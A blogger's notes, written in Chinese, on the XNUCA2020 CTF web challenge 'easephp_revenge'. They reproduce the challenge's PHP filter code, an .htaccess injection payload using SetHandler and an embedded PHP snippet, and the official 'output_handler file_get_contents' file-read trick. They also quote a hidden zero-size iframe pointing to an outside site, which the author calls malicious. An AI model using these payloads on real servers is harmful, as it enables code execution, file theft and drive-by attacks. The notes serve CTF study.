0%

[XNUCA2020]笔记

[XNUCA2020]笔记

周末看了一天多一点点的XNUCA的web,太难了,比ByteCTF的web还离谱,我死了
今天看到放了官方wp来做笔记,本来标题想写wp的,但是自己一个题做不出来,就还是叫笔记算了

easephp_revenge

这个题是我们看了最久感觉最有可能出的题,结果看了wp之后发现完全不行
去年这个题因为没过滤\,而\可以换行导致所有过滤无效被非预期打穿,今年直接上了超级过滤和超级padding,死了
我印象里这个题还上了超级disable_function列表,由于没做出来,后面也没注意ban了啥

源码

<?php
$userHome = md5($_SERVER['REMOTE_ADDR']);
$arr = explode('\\', getcwd());
$num = count($arr);
if($arr[$num - 1] !== $userHome) {
    echo "no access to this challenge";
    die();
}
if(!isset($_GET['content']) || !isset($_GET['filename']) || !isset($_GET['teamtoken'])){
    highlight_file(__FILE__);
    die();
}

include($_SERVER['DOCUMENT_ROOT'] . "/function.php");

$content = $_GET['content'];
$filename = $_GET['filename'];
$token = $_GET['teamtoken'];

if(!is_string($content) || strlen($content)>125) {
    echo "Hacker";
    die();
}
if(!is_string($filename) || strlen($filename)>10) {
    echo "Hacker";
    die();
}
if(!is_string($token) || strlen($token)!==32) {
    echo "Hacker";
    die();
}
for($i=0;$i<31;$i++) {
    if($i !== 10 && stristr($content, chr($i))) {
        echo "Hacker";
        die();
    }
}
for($i=127;$i<256;$i++) {
    if(stristr($content, chr($i))) {
        echo "Hacker";
        die();
    }
}
$content_blacklist = array("session", "html", "type", "upload", "append", "prepend", "log", "script", "error", "include", "zend", "htaccess", "pcre", "\\", "#");
foreach($content_blacklist as $keywords) {
    if(stristr($content, $keywords)) {
        echo "Hacker";
        die();
    }
}
$filename_whitelist = array(".htaccess");
$append_string = "\nhope no unintended\nhope no unintended\nhope no unintended\n";
if(preg_match("/icq[0-9a-f]{29}/", $token) === 1) {
    if (checkToken($token, $content) === true) {
        if(array_search($filename, $filename_whitelist) !== FALSE){
            file_put_contents(getcwd() . '/' . $filename, $content . $append_string);
        } else {
            echo $filename;
        }
    } else {
        echo "use your valid teamtoken in icq, and you only have 30 times submit your payload.";
        die();
    }
} else {
    echo "Hacker";
    die();
}
?>

过滤都不是特别的关键,限制了payload长度,限制了文件名只能是.htaccess,不允许有特殊字符,ban掉了一些常用的payload,但这都不要命,最要命的是ban了注释符和\,以及长达三次换行的致命padding

还设置了Apache的规则不能访问htaccess
仅仅ban掉htaccess和注释符是不能阻止我的,可以用通配符匹配所有文件允许访问htaccess,再setHandler全部当做PHP解析,再把一句话木马作为一条指令的多余参数传入,但是,无敌的padding就是去不掉
查到了有<if>这种类型的标签,如果不满足条件不执行if内的语句htaccess就不会崩,但是我不能闭合标签。所以单标签也打不通,死了,跑路不做了,我的payload就终止于这一步,还挺短的

<Files *>
Require all granted
</Files>
SetHandler application/x-httpd-php
RewriteRule 1 2 [L] <?=phpinfo();?>

官方wp

后来给了个Windows的提示但是我真的不会啊。。。。
神仙发言,我发现了一个奇怪的恶意文件,它会让Windows defender的行为从删除整个恶意文件变为删除文件从恶意代码出现到结尾的部分,通过这个payload来删除后面填充的无意义行还有这种事?然后说是在最新Windows上测又变成删掉整个文件了,刚才想移动这个md的时候就报毒了,处理方法比平常多了一项,原来只有删除允许,现在加了个清除威胁(我估计这个选项就是从恶意代码开始删到结束,不敢点,点了我辛辛苦苦写的md就没了)
<iframe src="http://www.52CPS.COM/goto/mm.Htm" width=0 height=0></iframe>
也就是开了一个iframe导入了一个看不见的框,并且现在有超级同源策略,好像也没有什么太大的威胁,但是因为iframe宽高调的是0所以必然恶意啊

然后因为ban了一大堆的关键字,所以官方希望使用PHP的一项配置output_handler指定输出用什么函数处理,而这里在文件名不是htaccess的时候输出文件名,把输出用file_get_contents处理,这样子就获取flag值了
(如果能处理掉那个padding,我上面这个sethandler感觉也没什么问题
在htaccess中配置PHP设置时要在前面添加php\_value
php_value output_handler file_get_contents

剩下的题,就看了一个ooooooldjs,不会,完全看不懂怎么打,但是这个是web里唯一有解的题,我跑路的时候就四个解,可以见得XNUCA的web有多离谱好像比赛结束也就四个解?
摆明了是原型链污染但是我在哪污染都没找到,果断跑路,事后看wp因为当初没太认真看逻辑现在也看不懂,没时间了我跑路了

收藏一个估计再也不会看的wp链接
https://github.com/NeSE-Team/XNUCA2020Qualifier/tree/main/Web